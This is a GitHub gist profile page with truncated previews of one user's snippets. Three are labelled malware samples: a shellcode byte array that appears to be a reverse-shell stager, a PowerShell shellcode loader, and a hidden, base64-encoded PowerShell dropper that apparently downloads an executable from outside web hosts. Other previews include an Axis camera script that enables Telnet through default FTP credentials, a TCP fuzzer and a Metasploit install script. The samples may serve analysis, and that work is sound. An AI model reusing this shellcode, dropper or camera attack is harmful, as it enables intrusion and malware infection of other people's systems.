Skip to content

Instantly share code, notes, and snippets.

View enonethreezed's full-sized avatar

n13z enonethreezed

  • ∞
View GitHub Profile
@enonethreezed
enonethreezed / malware sample #3
Created February 11, 2020 15:08
0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0
@enonethreezed
enonethreezed / malware sample #2
Created February 11, 2020 11:36
function Generate-ShellcodeExec
{
$shellcode_string = @"
`$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';`$winFunc = Add-Type -memberDefinition `$code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]`$sc64 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x0
@enonethreezed
enonethreezed / malware sample #1
Last active February 10, 2020 14:49
powershell -w hidden -en JABaAGkAegBvAG8AbQBrAHoAYwA9ACcAQQBzAG0AcwBiAG8AeABvAG0AagByACcAOwAkAEQAdQB2AHEAbABzAHoAdwBwAHYAIAA9ACAAJwA2ADAAOAAnADsAJABNAHgAZwB0AGwAZABsAGQAeQA9ACcARwB1AHUAaABuAGoAZwBjAGUAdgB5AHoAJwA7ACQAUQBmAGkAZABnAGkAagB0AHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEQAdQB2AHEAbABzAHoAdwBwAHYAKwAnAC4AZQB4AGUAJwA7ACQASAByAGcAYQB4AGkAcwB0AGoAYwBwAGUAZgA9ACcARQB4AHQAZAB4AHYAdQBkAGgAegB6AGwAbgAnADsAJABOAGkAdQB3AGQAeABhAHoAYwA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAQgBDAGwASQBlAE4AdAA7ACQAUgB2AGoAcwBrAHUAeAByAHkAdgB2AD0AJwBoAHQAdABwADoALwAvAG0AYQBzAHMAZQB5AGEAdABuAGEAbgBkAGkAbgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeQBzADQANAAvACoAaAB0AHQAcAA6AC8ALwBwAGkAYwBrAHAAbwBpAG4AdABnAGEAcgBhAGcAZQAuAGMAbwBtAC8AcAByAG8AdABlAGMAdABlAGQALQBhAHIAcgBhAHkALwB6AGIAMQBrADgALwAqAGgAdAB0AHAAOgAvAC8AZQB2AG8AbAB2AGUAZABzAGUAbABmAC4AYwBvAG0ALwBkAGkAcgAvADUAMgAzAGEAcgB3ADkANwA5AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQByAHUAcQB1AGEAbgB0AHUAbQAuAGMAbwBtAC8AcwBjAHI
@enonethreezed
enonethreezed / Windows 10 all versions links
Last active January 21, 2020 16:07
@enonethreezed
enonethreezed / drildown2scan.py
Last active November 9, 2019 09:33
#!/usr/bin/env python
# CSV HEADER DATA FROM DRILLDOWN (REPORT FROM RESILIENT)
# _time,Company,dest,IP,Country,request,User Agent,Response Code,Response Description,http_referer
# Tested:
# Python 3.7.5
import sys
import csv
import os
import urllib3
@enonethreezed
enonethreezed / quick_alphanumeric_permutations.py
Last active February 7, 2020 08:23
import sys
from string import digits, ascii_uppercase, ascii_lowercase
from itertools import product
palabras = digits + ascii_uppercase + ascii_lowercase
dimension=int(sys.argv[1])
for combinacion in product(palabras, repeat=dimension):
print ''.join(combinacion)
@enonethreezed
enonethreezed / msf-2019.sh
Last active April 7, 2019 11:58
Metasploit GIT install
#!/bin/bash
## keep in mind this is only for RBENV
## https://www.darkoperator.com/installing-metasploit-in-ubunt
## APT things
sudo apt-get update
sudo apt-get y upgrade
sudo add-apt-repository -y ppa:webupd8team/java
sudo apt-get -y install oracle-java8-installer
sudo apt-get -y install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev curl zlib1g-dev gawk bison libffi-dev libgdbm-dev libncurses5-dev libtool sqlite3 libgmp-dev gnupg2 dirmngr
## RBENV
@enonethreezed
enonethreezed / fuzzer.bash
Created February 20, 2019 11:35
Bash TCP port Fuzzer
#!/bin/bash
# SIMPLE FUZZER made for a bash only CTF
# To fuzz UDP port change /dev/tcp for /dev/udp
if [ $# -lt 3 ]
then
echo "Usage: bash fuzzer.bash IP PORT SIZE"
exit
fi
@enonethreezed
enonethreezed / AnalisisDNS.py
Last active January 11, 2019 09:09
Offending domains detector
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import *
import sys
import calendar
import time
import syslog
def capturaDNS(paquete):
@enonethreezed
enonethreezed / axis_ftp_enable_telnet.rb
Last active September 27, 2023 18:54
Axis Camera remote enable Telnet via FTP
#!/usr/bin/env ruby
# This script takes advantage of a feature from this Technical Note:
# https://www.axis.com/en/techsup/cam_servers/tech_notes/telnet_support.htm
# and a default pair of user/password unchanged
# If the reboot command is not enabled as ftp command
# you must wait until some kind of camera reboot
require 'net/ftp'